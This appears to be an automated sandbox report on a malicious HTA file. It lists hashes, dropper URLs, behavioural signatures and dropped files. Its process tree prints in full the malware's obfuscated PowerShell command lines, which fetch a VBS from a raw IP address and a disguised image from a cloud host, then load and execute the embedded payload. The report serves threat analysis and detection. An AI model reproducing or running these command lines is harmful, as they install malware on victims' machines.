Analysis

  • max time kernel
    122s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    17-12-2024 06:24

General

  • Target

    seethebestmethodwithgreatnessgoodnewsgreatdaygivenme.hta

  • Size

    144KB

  • MD5

    80636733be5c6936770df78c2298d639

  • SHA1

    0e9cd08975bff8b04e8e7671f13c2585c25796a5

  • SHA256

    9c4e6335372584e7b1e145fe9ac1eeb43c148ac9b98337a4629b817badc83eec

  • SHA512

    6518d2d47c9f724e9beeae9440ac82d379d51e8bd81970fe37b933f07e2ebe7e280c91c30202cf4c57776551ff2524d78bceb486a74a100472838d96500fa1a7

  • SSDEEP

    768:t1EuT0um2oum2uD5KUJDVUKhCTGVf/ACBzg2lw1/lEwUUKBqe/zg7szgmUM/ONvT:tF

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://res.cloudinary.com/dzvai86uh/image/upload/v1734050991/unxaooiykxfmw9pan4z1.jpg%20

exe.dropper

https://res.cloudinary.com/dzvai86uh/image/upload/v1734050991/unxaooiykxfmw9pan4z1.jpg%20

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Evasion via Device Credential Deployment 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\seethebestmethodwithgreatnessgoodnewsgreatdaygivenme.hta"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:2708
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" "/C POWershEll -eX BYPaSS -nop -W 1 -c DEvIceCredeNTIALdepLoYMeNT ; invOKE-ExPreSSiOn($(InVOKE-EXPResSioN('[sYSTeM.TEXt.eNcOdINg]'+[CHaR]0x3A+[Char]58+'UTf8.getSTriNG([SYsTEM.CONVeRt]'+[ChaR]58+[ChaR]0X3a+'fROMBAse64StRING('+[chaR]34+'JFhVVUxxNFNWUVBUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRkLVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lTUJFUmRlRkluSVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSbG1vTiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRHF0T0F2SHosc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdZRkVWdVpJcCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEhneU1abVpWLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBocWZKb1lkbEduKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ6TUJpbSIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hTUVTcGFjRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBseHlEbCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYVVVMcTRTVlFQVDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzc0LjIwOC44MC4yNDgvNDMvc2Vld2hhdGlhbWRvaW5nZm9yeW91d2l0aGdyZWF0bmVzc3RoaW5nc2dpdmVubWViYWNrLnRJRiIsIiRlTlY6QVBQREFUQVxzZWV3aGF0aWFtZG9pbmdmb3J5b3V3aXRoZ3JlYXRuZXNzdGhpbmdzZ2l2ZW5tZWIudmJTIiwwLDApO3NUYXJULVNMRUVwKDMpO0ludk9LZS1leFByZVNzaW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcc2Vld2hhdGlhbWRvaW5nZm9yeW91d2l0aGdyZWF0bmVzc3RoaW5nc2dpdmVubWViLnZiUyI='+[chAr]0X22+'))')))"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2716
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        POWershEll -eX BYPaSS -nop -W 1 -c DEvIceCredeNTIALdepLoYMeNT ; invOKE-ExPreSSiOn($(InVOKE-EXPResSioN('[sYSTeM.TEXt.eNcOdINg]'+[CHaR]0x3A+[Char]58+'UTf8.getSTriNG([SYsTEM.CONVeRt]'+[ChaR]58+[ChaR]0X3a+'fROMBAse64StRING('+[chaR]34+'JFhVVUxxNFNWUVBUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRkLVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lTUJFUmRlRkluSVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSbG1vTiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRHF0T0F2SHosc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdZRkVWdVpJcCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEhneU1abVpWLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBocWZKb1lkbEduKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ6TUJpbSIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hTUVTcGFjRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBseHlEbCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYVVVMcTRTVlFQVDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzc0LjIwOC44MC4yNDgvNDMvc2Vld2hhdGlhbWRvaW5nZm9yeW91d2l0aGdyZWF0bmVzc3RoaW5nc2dpdmVubWViYWNrLnRJRiIsIiRlTlY6QVBQREFUQVxzZWV3aGF0aWFtZG9pbmdmb3J5b3V3aXRoZ3JlYXRuZXNzdGhpbmdzZ2l2ZW5tZWIudmJTIiwwLDApO3NUYXJULVNMRUVwKDMpO0ludk9LZS1leFByZVNzaW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcc2Vld2hhdGlhbWRvaW5nZm9yeW91d2l0aGdyZWF0bmVzc3RoaW5nc2dpdmVubWViLnZiUyI='+[chAr]0X22+'))')))"
        3⤵
        • Blocklisted process makes network request
        • Evasion via Device Credential Deployment
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2572
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
          "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ry0s-0-q.cmdline"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2916
          • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
            C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF4CB.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCF4CA.tmp"
            5⤵
            • System Location Discovery: System Language Discovery
            PID:2700
        • C:\Windows\SysWOW64\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\seewhatiamdoingforyouwithgreatnessthingsgivenmeb.vbS"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:3064
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $combo = 'JGNhbXBlc3QgPSAnaHR0cHM6Ly9yZXMuY2xvdWRpbmFyeS5jb20vZHp2YWk4NnVoL2ltYWdlL3VwbG9hZC92MTczNDA1MDk5MS91bnhhb29peWt4Zm13OXBhbjR6MS5qcGcgJzskcmVkb3VidGVkID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDskcHljbmlkID0gJHJlZG91YnRlZC5Eb3dubG9hZERhdGEoJGNhbXBlc3QpOyRvcmFjdWxvdXMgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkcHljbmlkKTskbGFsbGF0aW9uID0gJzw8QkFTRTY0X1NUQVJUPj4nOyRkZXN0ZW1zID0gJzw8QkFTRTY0X0VORD4+Jzskc2NhcHVsZXQgPSAkb3JhY3Vsb3VzLkluZGV4T2YoJGxhbGxhdGlvbik7JGh5ZHJvZWxlY3RyaWMgPSAkb3JhY3Vsb3VzLkluZGV4T2YoJGRlc3RlbXMpOyRzY2FwdWxldCAtZ2UgMCAtYW5kICRoeWRyb2VsZWN0cmljIC1ndCAkc2NhcHVsZXQ7JHNjYXB1bGV0ICs9ICRsYWxsYXRpb24uTGVuZ3RoOyRwYWlsbWFpbCA9ICRoeWRyb2VsZWN0cmljIC0gJHNjYXB1bGV0OyRoYWdyaWRlcyA9ICRvcmFjdWxvdXMuU3Vic3RyaW5nKCRzY2FwdWxldCwgJHBhaWxtYWlsKTskc3VwZXJsaW5lYXIgPSAtam9pbiAoJGhhZ3JpZGVzLlRvQ2hhckFycmF5KCkgfCBGb3JFYWNoLU9iamVjdCB7ICRfIH0pWy0xLi4tKCRoYWdyaWRlcy5MZW5ndGgpXTskdHVya2lzaG5lc3MgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRzdXBlcmxpbmVhcik7JGFtcGhpZ2VuaWEgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCR0dXJraXNobmVzcyk7JHRlbGlmZXJhID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZCgnVkFJJyk7JHRlbGlmZXJhLkludm9rZSgkbnVsbCwgQCgnMC9uS050My9yL2VlLmV0c2FwLy86c3B0dGgnLCAnJHJldmFuY2hpc3RzJywgJyRyZXZhbmNoaXN0cycsICckcmV2YW5jaGlzdHMnLCAnQ2FzUG9sJywgJyRyZXZhbmNoaXN0cycsICckcmV2YW5jaGlzdHMnLCckcmV2YW5jaGlzdHMnLCckcmV2YW5jaGlzdHMnLCckcmV2YW5jaGlzdHMnLCckcmV2YW5jaGlzdHMnLCckcmV2YW5jaGlzdHMnLCcxJywnJHJldmFuY2hpc3RzJywnJykpOw==';$prason = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($combo));Invoke-Expression $prason
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1448

Network

MITRE ATT&CK Enterprise v15

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\Cab6F5.tmp

    Filesize

    70KB

    MD5

    49aebf8cbd62d92ac215b2923fb1b9f5

    SHA1

    1723be06719828dda65ad804298d0431f6aff976

    SHA256

    b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

    SHA512

    bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

  • C:\Users\Admin\AppData\Local\Temp\RESF4CB.tmp

    Filesize

    1KB

    MD5

    a0db05fc83cfdd6d203e1991b3f17de3

    SHA1

    480ca0b090e2ceab8a56f5c2c1a66ffc08fb326f

    SHA256

    a7b6bf183ae22d9c376f5635051b7129d721560e0d0c1c0ef21aca0179f6ac16

    SHA512

    5c61b88775aa16742717307268f9b2d6ce4b1ea7ebb1733e3b1adc5028ac1979df7eaea03090987c4e525d34233b6b391f55256228514daa76c909b39ffc3047

  • C:\Users\Admin\AppData\Local\Temp\Tar708.tmp

    Filesize

    181KB

    MD5

    4ea6026cf93ec6338144661bf1202cd1

    SHA1

    a1dec9044f750ad887935a01430bf49322fbdcb7

    SHA256

    8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

    SHA512

    6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

  • C:\Users\Admin\AppData\Local\Temp\ry0s-0-q.dll

    Filesize

    3KB

    MD5

    49d906b48f19bf7dfb054f46a469ef41

    SHA1

    42fa6b5e80cf1936251ad224df888d647daf7500

    SHA256

    1be01c72b01b91db896179fe7a55d9572c7dee9f5ed9c0e3c435c8b55902cd5e

    SHA512

    1a2ef6d4070b40e174b473cf3ed7746570202368d9933107fb41864ba60c563ebd80b8d3572f087825887b4997ff9d264b101c85579231508fc5f87ceaefc27e

  • C:\Users\Admin\AppData\Local\Temp\ry0s-0-q.pdb

    Filesize

    7KB

    MD5

    a57224e7e72554c51f68ed0d69bfed22

    SHA1

    361ad5c4a569e3b7266e94c662f15a2e5efdeba5

    SHA256

    d54762a6c1e73880c4138fac96903b40d91e236445d6021e46a64043a9bee87a

    SHA512

    ac50f4c8161a5ef95afdb1ee03af0a83bbce253bb5bf2d3a859f41d176c3ebc87de641326a4d7392fc1cbfd7d20e9ddcd1034a8f97b8d703b88aeb238ba87088

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    0800a6dbd02a455244a8aff4b79796c6

    SHA1

    ced6aba3ad61aedbaff0ed779c2a66387edf67ad

    SHA256

    05954c88700cec325bcc58d07cf551ec4e4e887f844294438c93330d2afbdc62

    SHA512

    c70871a7b2e0459e478c23152d82cea20a21a1757f11e264e7c90359793e4320bc2fdb3382ab63ae3b22a29feb79dfa2a9a021775e072e898d3bd472ab02d791

  • C:\Users\Admin\AppData\Roaming\seewhatiamdoingforyouwithgreatnessthingsgivenmeb.vbS

    Filesize

    150KB

    MD5

    80c468cccbc1d6aa31d066f64ce06b42

    SHA1

    6276da318e9ec1756dda7d7c9e9b2c5f00d3fda4

    SHA256

    79a186bd409caf82e85361c6885fd71ee00bea6968d85cb8c9b71535909fe411

    SHA512

    37fd56e6121926e15433636afe449f7002de7a5be35c18f8855d2e24c3542eabd7533b2ddb363e49972ddca03f3edb5868bb944ac799ff2fcf245d6271bf6662

  • \??\c:\Users\Admin\AppData\Local\Temp\CSCF4CA.tmp

    Filesize

    652B

    MD5

    416332b5d9c57c857d78006490c95003

    SHA1

    f7a1ef4ecac9be0cea60f075c5bb7f729d1143b5

    SHA256

    0bba2b219964dcfc67ea0fca09abf2177607167234d0092c7113e9e59ba963bb

    SHA512

    6adf0e0e8e3686f2246ca84d7dbdb0a5f0e368b95c7e613f6f643f8945209b835ddfaa0fda827b6a7c1979df293d0dbe5ccdb8dde76db858349334e438f46945

  • \??\c:\Users\Admin\AppData\Local\Temp\ry0s-0-q.0.cs

    Filesize

    485B

    MD5

    c0ab7d9c1b9063dc8a229d9074412ec6

    SHA1

    4822b8b99901c563e7b2eb0399aab1ada29809d1

    SHA256

    05da06f5d5afbb950c215d14a1ae166c256466f43298bf300ddffe6cf87d6ef6

    SHA512

    3d09208b03cbbca2f036d4c7caf06990af60c40fd3727f59489c454e7d8d02a6f0ed1448040f224a093695dd143836044d5afdd8543c921a2f543246da57b4bf

  • \??\c:\Users\Admin\AppData\Local\Temp\ry0s-0-q.cmdline

    Filesize

    309B

    MD5

    c8d89b35db18b35d427b31c6d5cc942f

    SHA1

    fcfa6333ab93cbbae38144404fcef284dbfdcba3

    SHA256

    6914d057c9acbc1b449cc330801602d12f945f02bdffad265396bfb894e235b6

    SHA512

    a0930e406868bb91f1a7fbecb01f7f36dfde04d5ddc01c8f0b08a9e4a14cadbe4f6d6e47fc7d940de77711a0aec40eb365cde504e4a6cd704507d21d8ccb67b6